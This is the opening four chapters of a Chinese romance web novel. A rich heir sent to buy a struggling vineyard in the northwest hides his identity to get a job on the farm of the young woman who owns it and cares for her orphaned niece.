《他很危险》
1. Chapter 1
西北荒野,黑色越野车急速行驶在狂风扬沙的公路。
车内,程回被手机震动吵醒,他神色阴郁的从座椅角落摸出手机,看都未看直接挂断丢掉。
眯着眼看了眼窗外,他突然嘴角一扯,轻呵了声。
桀骜,嘲讽。
脸上神情比外面的荒原都野。
手机又开始震动,四秒后,对方先没耐心的挂断。
紧接着,前排座驾女助理的手机响起。
“程总。”“嗯,已经下飞机了,大概还有半小时到贺兰农场。”“程少跟我在一起,刚刚睡了一觉。”“已经醒了。”“好的。”
女助理回头把手机递给程回,示意他接电话。
对峙片刻,程回接过手机。
过了好几秒,他冷淡的声音才响起:“说。”
“程回!这是你跟我说话的态度——”
程回:“挂了。”
“等会——,集团下一季度要开拓红酒市场,我希望你明白这次收购的重要性——”
“重要你找我?”程回讥讽道,“我一个无所事事浪荡子,程总第一天认识我?”
“程回,不要浪费自己的天赋和智商,这么多年你也该玩够了。”男人威胁,“你不要忘了,我不是只有你一个儿子。”
程回把手机从耳边拉下,准备挂断。
“办好这件事,你想知道的那件事,我会告诉你。”电话里,男人不急不缓说出。
挂断的动作停住,程回握着手机的手指慢慢收紧,苍净的指尖泛白。
似是早就料到程回的反应,原本气急败坏的男人,声音里立马透出傲慢的得意:“葡萄园在一个辍学的女大学生手里,我不管你用什么手段,八月底必须收购葡萄园——”
程回摁断。
他低着头,漆黑的手机屏幕映出凌厉深浅的脸部轮廓。
“停车!”
震耳欲聋的引擎轰鸣声响彻旷野,顶级越野车巴博斯G800,如强悍的黑豹狂飙而去,车速惊人,不要命似的。
被赶到后排的女助理慌忙系上安全带,不敢多说什么。
开玩笑。以桀骜不驯闻名京圈的程家太子爷,玩起来是真的不要命!
半小时后。
一道黑影毫无预兆闪现,横穿马路。
刺啦——
越野车紧急刹车,轮胎摩擦砂石的声音割裂狂风飞沙的荒野。
程回拧了下眉,沉默下车,绕到车前。
只见一头小毛驴一动不动倒在地上,距离车头不足二十厘米。
程回伸腿踢了一脚,把小毛驴翻了个身,没发现伤口,地上也没有血迹。
蓦地,“哇——”地一声,清脆稚嫩的哭声炸破狂风,从车后传来。
程回扭身瞥去。
一个大概三四岁的的小女孩边哭边摇摇晃晃跑来。
程回冷眼看着,侧身给她让了条道。
“呜呜呜呜珍珍——,你是死了吗?”小女孩蹲在地上抱住小毛驴的脑袋,伤心欲绝,“你不要死啊珍珍!”
她一双哭红的眼睛看向程回,“你撞死了我的珍珍呜呜呜呜......”
程回:“......”
懒得理会哭泣的小女孩,程回从口袋里摸出一根烟点上,走到路边用力吸了两口,压住即将爆炸的情绪。
小女孩被他的冷漠吓到,哭得更凶了......
哭得程回更加心烦。
狠狠把烟掐灭揉皱,程回抬手,将烟草扬在了风里。
他转身往回走,语气算不上好:“没死,晚点再哭。”
哭声变成抽泣,“没有...死吗?”
“......”程回半蹲下,伸手点了点毛驴心脏的位置,“去摸,跳着没?”
“跳?”摸了会儿,小女孩惊呼,“真的跳着!!”
这时,被吓晕的小毛驴终于睁开了眼睛,看见小女孩的脸,亲昵的蹭了蹭。
“珍珍没有死!呜呜太好了!”她似乎忘记刚才发生的一切,感激又喜悦的看着程回。
“......”程回讥诮的扯了下嘴角,起身就要离开。
下一秒,被猛地抱住!
两条柔软的小胳膊,几乎用尽全身力气紧紧搂着他的脖子。
程回身体晃了下,用手撑了一下地才稳住。
“珍珍没有死。惜儿喜欢大哥哥!”
程回:“.........”
程回不喜欢小孩。
甚至可以说讨厌。
他恍了下神后,蹙着眉把人拉开,像被粘上什么外星物种般起身躲开两步。
离开几步,那两条修长的腿又慢慢顿住。
“喂,你家长呢?”程回回身问。
惜儿原本萎靡的精神一震,笑嘻嘻答:“我来接一个大哥哥!念念说,今天会有一个大哥哥来农场。”
程回扫了眼荒无人烟的戈壁。
“念念?”家长明显的不负责让程回更加厌烦,“她让你自己出来接人?”
“不是。念念不让我跑远,是我自己要到村口接人。”
程回嗤道:“这是村口?”
“我,我想带着珍珍跑着玩嘛......”惜儿声音越来越小。
不用多说程回也知道怎么回事了,“记得回家的路吗?”
“念念跟我说过老马识途的故事,”惜儿跟小毛驴蹭了蹭,“珍珍可以带我回去。”
程回瞥了眼跟小女孩大眼对小眼的蠢驴,好一个老马......
“不过,珍珍累了。”惜儿心疼的抱住倒地不起的小毛驴,“来的时候是珍珍带着我,我也累了,走不动的。”
“......”程回耐心告罄,看见女孩手腕上的儿童手表,冷着脸道:“给你家长打电话,让他们过来接你。”
惜儿熟练找到一个号码,犹豫不决,最后眼巴巴看向程回。
程回自然看出她是害怕被骂,但他丝毫没有同情心,转身就往车边走。
“呜呜呜哥哥......”
程回被她哭得烦死了,黑着脸往回走,夺过儿童手表。
“念念是谁?”通话前程回随口问。
“念念是超人。”惜儿抬着小下巴,说到这个名字颇为骄矜。
程回:“......”
电话打过去一秒被接通。
“在哪?”
一道清冷克制的女声贯穿程回的耳膜,像雪山之上一捧雪沁入心脾,程回失神瞬间。
“她家长?”
听到陌生的声音贺兰念顿了下,很快接连问:“你是谁?惜儿呢?”
没等程回说话,惜儿抓住他的胳膊凑近手表,带着哭腔道:“念念~我来接大哥哥,但是我跟珍珍都累倒了,是大哥哥救了我们......念念,我想你,你来接我们吧。”
也不知道说得哪个大哥哥,程回瞥了眼委委屈屈跟人撒娇的小孩,嗤了声。
“......我很快到。”清冷的声音软下来,“惜儿,跟我描述一下你的位置。”
“在——”惜儿迷茫的望着四周,不知道怎么描述,再次求助的看向程回。
程回:“旁边有个塌了一半的烽火台。”
“好,我知道了。谢谢你。”贺兰念客气道,“如果你有事可以先走。”
“这么放心?”不知想到什么,程回语气讽刺。
贺兰念只道:“我很快就到。”
挂了电话,
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惜儿先跟程回道谢,然后牵起小毛驴,一人一驴蹲在路边玩石子。
程回转身离开,他一条腿已经跨上了车,回头问了句:“大哥哥是谁?”
“大哥哥是要来农场帮念念干活的大哥哥呀~虽然惜儿现在还不认识,但一会儿就认识了。”
招聘的农场工?人都没见过就敢独自跑来接人?
一步跨上车,程回在后排坐下。
女助理重新回到驾驶座,顺着后视镜看了眼低头玩手机的程回。
“等会再走。”
似早就料到这个结果,女助理流畅回复:“好的。”
半天的时间,程回手机被各种消息轰炸,一群狐朋狗友拉的群也都炸了,不是问他怎么跑来西北了,就是问他怎么从国外回来了......程回一个都没回。
不过,几条短信引起了他的注意。
程回扫见最上面那条。
【爸爸最喜欢哥哥,这次肯定是想锻炼哥哥,不会真的不管哥哥的——】
程回没点开,直接拉黑删除。
“念念——”
清脆甜腻的童音拉回程回翻涌的情绪,他抬头看向窗外。
有人骑马赶来。
昏沉风沙里黑色长发翻动,侧脸瘦削,轮廓极其浓墨重彩,线条优美的几乎夺人心魄。
程回缓缓放下手机。
——“贺兰惜儿,你胆子大了?”
是电话里的声音。
惜儿抱着她撒娇,甜腻腻的笑着说了什么。
这个距离,程回本该听见她们的对话,但此刻,他耳边没听到任何声音。
女生转过头看向他时,程回眉骨微动,屏了一息。
那是一张秾丽又清冷的脸,眼神中带有清寒的郁色,像一抹极浓的丽色汇入黑沉的渊。
搭着一头黑直的长发,如水墨晕染,渊里生花。
冷丽到,大概她笑一下,大把的人愿意赔上所有。
“谢谢。”贺兰念向程回点头致意,态度并不热切。
拉开车门,程回下车倚在车上眯了眯眸,不咸不淡“嗯”了声。
见对方无意攀谈,再次点头示意后,贺兰念带上惜儿就要离开。
“就是你们农场招工啊?”程回突然开口。
贺兰念回头。
程回翘起的唇角惯常有丝冰冷的弧度,“我是应聘的。”
贺兰念这才认真看向倚车的人。
因为突然有企业来收购葡萄园,再加上今年葡萄销售困难,贺兰念忙着直播卖葡萄又想阻止被收购,自家农场的活来不及做,不得已在镇上酒吧贴了张招聘启示。
前天有一男子打电话询问,两人约在今天见面。
但此刻说话的男人......
他着实长了副好皮囊,闲闲倚着如巨兽的黑色越野车,腿又直又长,高挺的鼻梁上架了副大墨镜,几乎遮了半张脸,黑色丝质衬衣被风吹得鼓起,领口皮肉白皙光滑,一头黑发凌乱不羁。
昂贵。
危险。
这两种极强烈的气质把他烘托的几乎难以接近。
这样的气质,实在不像是会应聘农场工的人,贺兰念心中持疑。
“上次忘了问,你叫什么名字?”贺兰念冷静问。
“程回。”
“陈回?”贺兰念心道果然,“抱歉,我想你不是我之前联系的人。”
贺兰念记得那人说他姓羊,贺兰念以为是杨树的杨,那人却说是咩咩叫的羊,是个很少见的姓。
沉默几秒,程回起身走到贺兰念身边。
对视的刹那,他怔了下。
“考虑换个人?我这人竞争优势挺大的。”
贺兰念:“......”
2. Chapter 2
把疑虑和偏见放到一边,贺兰念想了想道:“一般农场的工作包括但不限于,放牛羊马,挤牛奶,剃羊毛,喂鸡鸭鹅,还有蔬果的除草采摘等日常打理。”
程回:“......”
“最重要的是,需要照顾孩子。”贺兰念看了眼惜儿,“我想找有相关经验,并有一定责任心耐心爱心的。”
看着男子逐渐僵硬的脸,贺兰念顿了下问:“所以,你?”
程回没应其他问题,只有在听到孩子时,眼中的冷意稍纵即逝。
“啊孩子——”他拖着音,一脸意味不明,“我倒是有些弟弟妹妹......”
顾左右而言其他,轻佻桀骜,来路不明......
贺兰念清楚看出眼前男子并不适合当下的工作,“陈先生,我想你不——”
“另外,”程回打断贺兰念。
他突然摘掉了墨镜,俯身靠近,“你叫什么名字?”
骤然的视觉冲击让贺兰念下意识退了两步,她猝不及防,抬头正对上程回的眼睛。
贺兰念:“......”
不管任何人来评价,这都是双极好看的眼睛,瞳孔黑沉,眼尾上扬,美得凌厉逼人。
他像一匹生着恶相的狼。
漂亮的眼睛里透露出一颗非常冷漠的灵魂。
贺兰念很快偏开视线。
她不打算录用他。
贺兰念正准备拒绝,听到惜儿道:“她就是念念呀,全名叫贺兰念哦~”
惜儿对程回的喜欢溢于言表,几乎迫不及待道:“大哥哥可以明天来农场上班吗呜——”
贺兰念捂住惜儿的嘴。她陷入两难,犹豫片刻,道:“如果你没有特别突出的优势,我没办法考虑你。”
程回似没听见贺兰念的话,他皱眉看了眼惜儿,问道:“你们是什么关系?”
“跟你没有关系。”贺兰念几乎立马说,神态冰冷。
被呵斥的程回沉默盯着贺兰念。
“你给那人开多少工资?”程回问。
话题转得太快,贺兰念有点没反应过来,下意识回:“四千。”
程回:“一天?”
贺兰念:“......一个月。”
程回:“......”
贺兰念有点尴尬,转念一想,如果因为工资谈不拢倒也不错,省得她再找理由拒绝他。
程回:“我只要两千。”
贺兰念抬头,震惊。
她秾丽的脸上罕见出现一抹生动的神采,程回眉峰微动,看着心情不错提醒贺兰念:“优势。”
——便宜。
贺兰念拒绝的话哽在喉间。
葡萄园在亏钱,她又想买荒地,又想扩大葡萄园规模......简而言之,她很穷。
说实话,程回的条件很诱人。
但也只有这个条件诱人,贺兰念对这个出现在半路的男人更多的是戒备。
毕竟另外一个人联系在先,贺兰念没立马答应,说需要再考虑一下。
想到来之前未做完的事,贺兰念把惜儿抱上马,打算离开。
程回抬脚,几步走到马前,用手机抵住马脸,看着贺兰念:“号码?”
贺兰念:“?”
程回:“就这么走了,我怎么找你?”
“......”
“还有,我不姓——”程回话没说完,手里的手机突然震动了下。
是一直未下车的女助理发来的:【她就是葡萄园辍学女大学生。】
程回沉默了。
贺兰念在犹豫要不要给联系方式,没听清程回后面说了什么。
“你刚才说什么?”
“......”程回嘴角动了动,“没什么,联系方式。”
贺兰念还是接过了程回的手机,她伸过去的手腕间戴着一条手链,手链由一条葡萄藤样式的银链和三条缀着葡萄叶的绿丝线组成。
银色链条有点古拙古典的味,上面没有什么昂贵的配饰,但戴在贺兰念莹白细瘦的手腕上,说不出的吸引人眼球。
直到贺兰念把手机递回来,程回才眨了下眼,收回视线。
最后看了眼看手机的程回,贺兰念没有告别,直接离开了。
程回刚记住新录入的号码,再抬头,看着那道骑马离开的背影出了神。
名叫苏馥的女助理这时才下车走到程回身边,她面上态度十分恭敬,问道:“您对她隐瞒自己的身份,是有什么打算吗?”
程回闻言冷笑了声。偏偏在他要坦白身份时告诉他贺兰念的身份,程回不觉得这位跟在他爸身边的精明特助,是无意为之。
“这句话该我问你。”程回冷声道,“不妨说说,你们有什么打算?”他特意加重了“你们”。
苏馥笑容完美,“程少想多了,我现在的职责是协助您,一切以您的计划行事。”
“以我的计划行事?”程回冷声道,“行啊,找到那个应聘的农场工,让他退出。”
苏馥微笑:“好的。”
风声把越野车的轰鸣送到贺兰念耳边,她回头看了眼公路上疾驰的越野车,凶猛,强悍。
很快消失于天际,仿佛从未出现过。
“念念,你不喜欢大哥哥吗?”坐在贺兰念身前的惜儿仰头问,一旁小毛驴紧紧跟着。
贺兰念:“......”一面之缘的陌生人而已,应该谈不上......喜不喜欢。
“你呢?为什么这么喜欢他?”
“大哥哥好看!”
“......”真是没法反驳的理由,但,“不要被皮相迷惑。”
惜儿抱着贺兰念胳膊撒娇,小鼻子轻嗅着说:“我告诉你哦,我刚才抱大哥哥的时候,大哥哥身上香香的。跟念念一样香,惜儿很喜欢。”
贺兰念:“......”
贺兰念无意再聊萍水相逢的陌生男人,岔开话题道:“根据惜念协定,不能自己擅自行动,不能去陌生的地方。违反约定怎么办?”
见贺兰念丝毫不为帅哥所动,惜儿泄气的撇了撇嘴,“惩罚一天不能看动画片。我会遵守约定的。”
贺兰念:“还有?”
“还有,下次不会这样做了。”惜儿伸手指保证,“不能让念念担心。”
贺兰念叹了口气,她把惜儿抱紧,加速往村里赶。
村口等着焦急的邻居李婶。
看见两人平安回来,李婶松口气,她迎上来从马上接下惜儿,在惜儿的撒娇攻势下,也舍不得责备一句。
贺兰念也利落的翻身下马,问道:“李叔一个人在直播?”
作为短视频平台几十万粉丝的博主,去找惜儿前,贺兰念正直播帮李婶家卖葡萄,她匆匆走后,留下一个不熟悉直播的李叔撑着。
三人往葡萄园赶,李婶宽慰道:“你也别太操心,你李叔直播几回就熟悉了,到时候我们自己来,你去忙你的事。”
“我也没什么事。”贺兰念道。
李婶当然不信,“你啊,什么都自己担着,连我跟你李叔都不说。——我听说你招人到农场帮忙了?”
贺兰念没反驳,她轻“嗯”了声,流畅道:“主要是照顾惜儿。”
李婶心里哪里不明白,贺兰念说得云淡风轻,自己却比谁都忙。
想到相继离世的贺兰念父母,李婶又不禁红了眼眶,不想被贺兰念看到惹她伤心,她赶紧低头抹了把眼睛。
到葡萄园的时候,直播情况意外的不错,李叔正跟直播间粉丝热聊着什么。
“李叔。”贺兰念走进直播画面,“聊什么?”
见贺兰念回来,李叔跑来从李婶怀里抱过惜儿,回贺兰念:“刚才他们不少人问那个沙漠音乐节的事,问你怎么没拍视频。”
沙漠音乐节,是当地文旅局为推动旅游举办的特色娱乐活动,贺兰念之前有计划拍几个视频宣传,只是这几天被突然的收购耽搁了。
跟直播间粉丝打过招呼后,贺兰念快速扫了眼飞速翻转的弹幕。
【看到我惜儿宝宝了!吓死EE了!!】
【念念的美颜暴击!没有你我可怎么活?!!】
【沙漠音乐节什么时候开来着?想去看!】
【听说挺好玩的,不知
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真假,网上相关视频好少。】
【一直等着念念的音乐节视频,什么时候能等到呢?】
......
贺兰念不少老粉都知道惜儿,贺兰念先回复:“找到了,自己偷跑出去接人。”
说着,她错开身,惜儿正跟在李叔李婶屁股后面帮忙打包葡萄。
“音乐节我还没去。你们想来玩的话,我这两天找时间过去一趟,连同周围配套游玩项目、酒店选择路线一起做一期视频。”贺兰念对粉丝道。
【啊啊啊我永远周全温柔的念念!再说一万次,念念天下第一好!!!】
【刚李叔说今天晚上好像有开,念念今天有时间去吗?】
“今天啊......”贺兰念想到那位约在直播结束后见面的应聘者,一时不好回答。
“念念要去沙漠吗?惜儿也要去!”惜儿声音横插过来。
听到要去音乐节,抱着一大串青葡萄的小姑娘眼睛明亮。
贺兰念看着惜儿,心中不禁自责。她好像确实很久没跟惜儿一起出去玩了,所以,是因为无聊才那么迫不及待去公路接人吗?
一旁李叔也搭腔:“一会儿在家里吃饭,吃完饭我把你们送过去。”
贺兰念问惜儿:“你不等来农场的哥哥了?”
“大哥哥一会儿还要来?!那惜儿——”要等大哥哥!
还?想到惜儿说得是谁,贺兰念无情打断:“不是刚才那个,另外一个。”
“哦...”惜儿不掩失望,“那念念可以让他明天再来吗?我今天想去音乐节玩。”
贺兰念:“......”
下播后贺兰念给那位应聘者打电话再约时间,凑巧的是,那人竟也在音乐节,于是两人便约在音乐节入口一家名叫西北望的酒吧门口见面。
*
日落时分,坐落在沙丘间顶奢酒店某房间内,程回裹着浴巾从浴室走出来,他光裸着上身,长腿窄腰宽肩一览无遗,一层薄肌紧贴皮肉,肌肉线条却流畅蕴满力量,顺着人鱼线埋入浴巾,性感十足。
桌上的手机一直在震动,程回站在窗前未动。
全景式落地窗外是起伏的沙丘,落日正是恢弘壮阔。
站了好一会儿,程回转身往回走,路过茶几桌,瞄见手机屏幕上跳动的名字,他终于拿起手机,点了接听。
“老板?”意识到已接通,苏馥很快进入正题,“找到那人了,名叫羊明煦。今晚他和贺兰念约在音乐节见面,具体时间和地点我已经发您手机了。”
程回淡淡嗯了声。
“音乐节就在您酒店附近。”苏馥提醒。
“......”
程回摁断电话。他手机还没放下,又一通电话打进来。
“卧槽!哥你终于接电话了!你这电话不接信息不回的样子,我都要以为你在沙漠给你爸找坟呢。”电话那端的好友李折毫不客气调侃。
程回:“你这个主意不错。”
“别!开玩笑的大爷。”李折被程回认真的语气吓到,想到这两父子的关系,他不敢再开玩笑,道:“不过,你真来西北了?”
程回单手从丢在地上的裤子里掏出一支烟,咬在齿间找火机,“谁跟你说的这事?”
“谁?除了你的那个好弟弟程净还有谁?”提到这人,李折气愤道,“大概你人还在太平洋上空,他就把这点事在京城圈子里宣扬开了,等着看你丢脸呢。”
“啪嗒”一声,火苗在程回眼前跃起,他背靠沙发上,脚支着茶几,没说话。
“算了,不说这些破事了。”李折道,“刚好前段时间跟个车企搞了个沙漠越野挑战赛,我现在就在西北,你也过来玩玩呗。”
白色的烟雾在程回眉眼前萦绕,他沉吟片刻,“行,在哪?”
“卧槽!你答应了!”不给程回反悔的机会,李折立马道,“我现在在一个音乐节附近,你在哪?我去接你!”
“沙漠音乐节?”程回把眼前烟雾吹散,起身。
李折疑道:“怎么?你知道这个地方?”
程回只道:“不用接了,我自己过去。”
3. Chapter 3
贺兰念到音乐节的时候现场气氛热烈,欢呼喧天,远远望去,人影攒动,沙山上荧光棒无数,舞台灯光闪耀。
给惜儿带上儿童牵引绳,贺兰念从包里掏出云台相机和航拍机,边走边拍。
音乐节入口的酒吧门口,苏馥正在跟程回通电话。
她原以为程回听到贺兰念在音乐节会立马过来,但电话那端一段段急促的刹车声和狂野的欢呼,告诉她好像并不是这么回事。
苏馥尽量大声说:“羊明煦不同意退出。”
“不同意?”被李折拉来越野营地的程回把车停在路边,声线毫无起伏道,“把钱加到他同意为止。”
头顶航拍机翁鸣,程回抬头冷冷看了一眼。
车外,随着程回停车,立马涌上来一批车迷,围着这款限量款豪车打转。
羊明煦混在其中,一脸激动的摸着车子,无意听到程回的话,心里不无嫉妒的吐糟了一嘴那个好命有钱却不赚的煞笔。
“不是钱的问题,主要因为呃——”话未说完,苏馥转身,猝然在人群中看见贺兰念。她没由来的一阵心虚,下意识转身躲进酒吧。
“因为什么?”程回问。
看着酒吧外的贺兰念,苏馥思索片刻,没说羊明煦拒绝的理由,而是道:“我看见贺兰念了,在西北望酒吧门口。”
沉默。
几秒后,程回挂断电话,下了车。
围着车打转的羊明煦偷偷看了眼盯着手机愣神的程回,犹豫要不要向前跟壕哥套个近乎,上去摸一把豪车的方向盘。
羊明煦厚着脸皮凑上去,嘴巴刚张开——
“砰”地一声,一只骨节分明的手覆上漆黑车身,车门被反手关上。
羊明煦:“......”
航拍机慢慢飞远,程回收回视线,低头看了眼腕表,起身往沙漠里走。
“要溜哪去?才跑两圈就走?”李折一把揽住程回的肩,“这可不行,接风酒没喝,洗尘宴没吃呢!我酒吧订了包间,要不现在过去?”
“哪个酒吧。”程回拍掉李折胳膊。
“就那个......什么酒吧来着......”
作为有钱的二世祖,李折玩得地方太多了,哪会专门记一个酒吧的名字,当下就被程回问懵了,“管它叫什么,保管你今天玩得舒服!”
程回:“不说不去。”
知道程回说到做到,李折“嗷”了一嗓子,他从口袋里捞出手机,“行!您是大爷,我这就给您查——喏,西北望,酒吧名。”
李折举着手机上的预定信息给程回看。
程回:“带路吧。”
“行嘞您呐,小的这就带您过去。”李折耍着贫嘴,“容小的再叫几个朋友来陪大爷您嘞。”
两人后面,羊明煦的手机也响了,看到来电的人,他猛地拍了下脑门,懊恼道:“怎么把这事忘了!”
说着接通电话撒腿就跑!
“你好,对对对,我就是羊明煦,你已经到酒吧门口了!不好意思,我现在马上过去,实在不好意思......”因为跑得太急,不小心撞到同路的程回,他头也来不及回道歉:“抱歉抱歉!”
程回看了眼羊明煦的背影。
李折见程回看羊明煦,随口问道:“认识?”
“不认识。”程回淡声道,“不过,很快就认识了。”
李折没听明白。
*
西北望酒吧前,贺兰念正在看刚拍摄的视频,一旁惜儿拿着相机到处拍着玩。
“抱歉,我来晚了!”羊明煦网上有关注贺兰念,他一眼认出人群中漂亮的突出的贺兰念。
贺兰念收起手机抬头,面前的大男孩个子很高,看起来阳光又俊朗,大概常年劳动锻炼,他小麦色的皮肤上覆着一身健康紧实的肌肉,有种少年人的勃勃生机。
“没关系,你来得很快。”没有过多寒暄,贺兰念直入主题,“你之前说你在别的农场工作过?”
“对,上一年干了一个暑假,我可以给你看视频。”羊明煦掏出手机,找出农场工作的视频给贺兰念看。
看完视频把手机还回去,贺兰念道:“除了农场的工作,你还需要照顾孩子,这个,你能接受吗?”
羊明煦道:“你说惜儿吧,我挺喜欢她的,你放心,我很会跟小孩玩的。”
其实两人之前通电话的时候贺兰念就对羊明煦印象很好,今日见到,更觉羊明煦的热忱真诚难得可贵。
程回的脸在贺兰念脑海稍纵即逝,想起工资的事,贺兰念有点不好意思,“我这边工资可能比不上其他农场,你如果愿意的话,我可以包你三餐。工作时间没有严格要求,只要完成当天工作,其他时间你可以自由支配。”
贺兰念身后,走来的程回听到她的话,脚步微微顿了下。
李折盯着手机没注意到程回的异样,径直转进了酒吧。
程回没进酒吧,他转了个弯,绕到酒吧前的藤椅坐下,双腿交叠,看着跟羊明煦说话的贺兰念。
贺兰念等着羊明煦的决定,没注意到程回。
没怎么犹豫,羊明煦很快应下这份工作。
找到合适的人,招聘的事告一段落,贺兰念心情轻快许多,脸上也出现笑意,问羊明煦:“你大概什么时间来农场?”
“啪啪——”
两道拍掌的声音打断两人的对话。
贺兰念扭头,看见坐在藤椅上的程回。
酒吧门口各色光线明暗交错划过他的脸,贺兰念看不清他脸上神情,只看见那双颇为贵气的手慢慢放下。
不知道他看了多久听到多少,贺兰念从未这么尴尬,四目相对,一时不知做何反应。
羊明煦视线在贺兰念和程回身上来回摆动,他凑近贺兰念,小声又期待问:“你认识他?”那以后他坐一坐那辆越野车,是不是也有可能了!
夜色中程回眸色很深,让人听不出喜怒对贺兰念道:“接下来是不是该过来拒绝我了。”
贺兰念“......”
程回盯着她:“没找好拒绝的理由?”
眼下情况,拒绝的理由其实已经不用找了,因为不会比现在更糟了!
贺兰念一直不觉得程回是认真想要这份工作,涉及到照顾惜儿,她也是肯定会拒绝程回的。
只是她设想的拒绝,不是眼下的情况......
贺兰念垂下眸躲开程回极具压迫感的视线。
“抱歉。”贺兰念能做的只有道歉。
“听不到。”看着站在一起的两人,程回加重了语气,“过来说。”
眼看躲不过去,贺兰念硬着头皮走到距离程回一米的位置。
“抱歉。”贺兰念再次道歉。
“......”程回拧了下眉,“理由。”
“我只是觉得你不适合这份工作。”想了想,她好意道,“其他农场也有类似的工作,如果你喜欢的话,我可以帮你问一下。”
程回扯了下嘴角,看着想笑,但脸色又实在吓人,“可是我只想去你的农场,你说怎么办?”
静默片刻,贺兰念再次拒绝:“抱歉。”
程回:“......”
灯光下,年轻的男人黑发黑眸,眉眼乌黑凌厉,眼皮浅浅薄唇殷红,人看着很薄凉,带着股邪气,沉着脸看人时,那双丹凤眼像下刀子似的,让人头皮发麻。
贺兰念有点不敢看他。
正对峙,出来找程回的李折从酒吧冲出来喊道:“哎哟我的大爷!你怎么还在
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这儿坐着?走了走了!都等着你呢。”
程回没动,他没再盯着贺兰念,垂着眸不知在想什么,神色间透出不正常的偏执之态。
而李折看见站在程回面前的贺兰念那一刻,脑中炸了一下,一个“卧槽”脱口而出。
“什么情况?!”
不怪李折震惊,他从小学认识程回,就没见程回跟哪个女生有牵扯!
“前女友?”李折凑到程回身边,实在忍不住好奇问。
程回扫他一眼。
“哦不是前女友.....”李折视线在程回和贺兰念身上来回转,小声呢喃,“现女友?这气氛看着不太像啊......”
程回:“......”
贺兰念没听到李折说什么,她有点茫然。
在正常人类的认知里,找工作被拒应该算是挺正常的事情,可眼下她站在程回面前,为什么像是做了什么十恶不赦的事??
抛去愧疚,贺兰念无意再做停留,她提出告别:“祝你早日找到好工作,我先走了。”
刚走两步,身后突然传来一声,“喂!”
语调冷冷的。
贺兰念当没听见,继续往前走。
程回起身,几步拦在贺兰念面前。
“我说让你走了吗?”
这就有点不可理喻了。
贺兰念尽量礼貌回应:“还有什么事吗?”
“......”程回噎住。
“我不接受口头道歉。对不起我的人...”程回顿了下,似临时修改了答案,“请我吃饭。”
贺兰念:“.........”
“抱...”贺兰念习惯性想说“抱歉”,害怕又被抓住话柄,及时收住,冷声道,“我现在已经不觉得对不起你了。”
贺兰念错身走开。
程回站在原地未动。
良久,他不知用什么情绪轻呵了声。
李折看着程回孤傲的背影,心里默默想:原来是,未来女友!
走到程回身后,李折觑着程回脸色问:“那我们,喝酒去?”
进酒吧前,程回看了眼躲在一根圆木柱后的羊明煦。
羊明煦扒着圆木看了全程,心里考量着他通过贺兰念开上豪车的可能性,心情跟过山车似的,最后得出结论,可能还是得靠自己。
见程回看过来,他立马咧嘴笑开,一脸讨好的模样。
见壕哥没理他,羊明煦失望的叹了一口气,还没叹完,听到一道略微熟悉的声音。
“请你喝一杯。”
回头见是苏馥,羊明煦惊了下,“你是从哪冒出来的?”不过他现在没心情喝酒,“喝酒就算了,婉拒了哈~”
转身走了一步,羊明煦又折回来,一脸思索。
他打量着眼前总是假笑的女人,手在程回离开的方向和她脸上来回指了指,凑近问:“你今天下午出双倍的钱让我不要见贺兰念,跟那个壕哥有关系,对吧?”
前后一联想,羊明煦更觉得就是这样!
“当然,”苏馥微笑看着他,“没有。”
“嘁——”羊明煦不相信。
苏馥勾唇:“不过,我认识他身边那位朋友。”
“真的?!”羊明煦几乎脱口而出,“那你能——”
话音陡然止住。
他是想让苏馥通过她朋友借壕哥的车开开,但...目的不能太明显了,会被人利用的!
羊明煦不拘小节的勾住苏馥肩,拉着人往酒吧走,“走走走,喝酒喝酒去!”
鱼儿上钩了。
苏馥会心一笑。
羊明煦很快补充:“说好了啊,你请客!”
苏馥笑容拉下来,然后默默把这笔账记到新老板身上。
4. Chapter 4
第二天贺兰念起了个大早,她简单吃了早餐,又把惜儿的早餐温好后匆匆开车出门。
她今天要拍昨天答应网友的音乐节周边酒店和游玩项目。
大约用了六七个小时,接近中午两点的时候,贺兰念终于来到最后一家酒店,也是当地最有名的沙漠落日酒店。
这家酒店的大堂经理杨姐是贺兰念的粉丝,知道贺兰念要来,一直在大堂等她。
比预计到酒店的时间晚了一个小时,贺兰念抱歉道:“不好意思杨姐,让你久等了。”
杨姐性格豪爽,她亲昵的拉住贺兰念往酒店里走,“哎呀说这话,——惜儿没跟你一起来?”
“我出来的早,她还没醒。”贺兰念道。
“好长时间没见她,确实有点想她了。”杨姐突然想到,“对了,你吃饭了吗?”
其实还没来得及吃饭。
但贺兰念不好意思麻烦杨姐,便道:“来的路上吃过了。”
杨姐也没有过多怀疑,“吃过了就行。你要没吃我先带你去吃饭,小念别逞强,不吃饭肯定不行,身体受不了。”
“吃了。”贺兰念岔开话题,“我们先去哪边的房间?”
“先去沙景房吧。”杨姐领着贺兰念往西边的一排房子走,“沙景房视野最好,特别最前面那间,三面落地窗,落日的时候特别漂亮。”说着她指了指走廊最尽头的房间。
贺兰念望过去的时候,一道身影一闪而过,快得贺兰念以为是自己的幻觉,廊道内空无一人。
“不过,那间房昨天被一个帅哥订了。”杨姐压低声音道,“少见的大帅哥!介绍你认识?”
贺兰念失笑,“杨姐,我暂时不考虑个人问题。”
“干嘛不考虑?你是不是担心惜儿?小念你要记住,你很好,惜儿也很可爱懂事,谁娶到你都是天大的福气。”
贺兰念笑笑没说话。
见贺兰念无意,杨姐也识趣不再继续这个话题,道:“那个帅哥订了半个月,我们现在不方便进去录像,我一会儿把房间之前的视频发给你。”
“好,谢谢杨姐。”
门内,清冷的声音由远及近,程回倚靠着门板未动,正午的阳光穿过三面环绕的落地窗,在他身上割出一道明暗分明的光线。
一阵狂风不知从哪个沙丘背后袭来,“呼啦”一声吹散了叠落在茶几上的文件,散落一地。
程回的视线落在一张带照片的纸上,纸上全是贺兰念的信息。
其中一行写着,三年前,贺兰念的父亲李碑和哥哥贺兰承突遭车祸去世,贺兰承刚出生的女儿才刚满三个月,叫做贺兰惜儿。又几个月后,贺兰念母亲贺兰容因伤心过度生病去世,贺兰惜儿的母亲失踪,刚上大学的贺兰念退学,一边抚养贺兰惜儿一边经营农场和葡萄园。
盯了半晌,程回弯腰捡起那张纸,走到落地窗前。
驼铃叮叮当当在热浪和风沙中传来。
贺兰念停下脚步,抬头看见沙丘间一群游客骑着驼队经过。
在七月末正午的沙漠里骑骆驼并不是好选择,贺兰念先是不解,后又想这何尝不是一种体验,不论是美好的还是痛苦的。
从包里掏出相机,贺兰念对准那群游客和驼队。
放下相机的刹那,贺兰念余光扫过最外间的沙景房,又是一道身影一闪而过。
奇怪......是太累了吗?贺兰念揉了下眼皮。
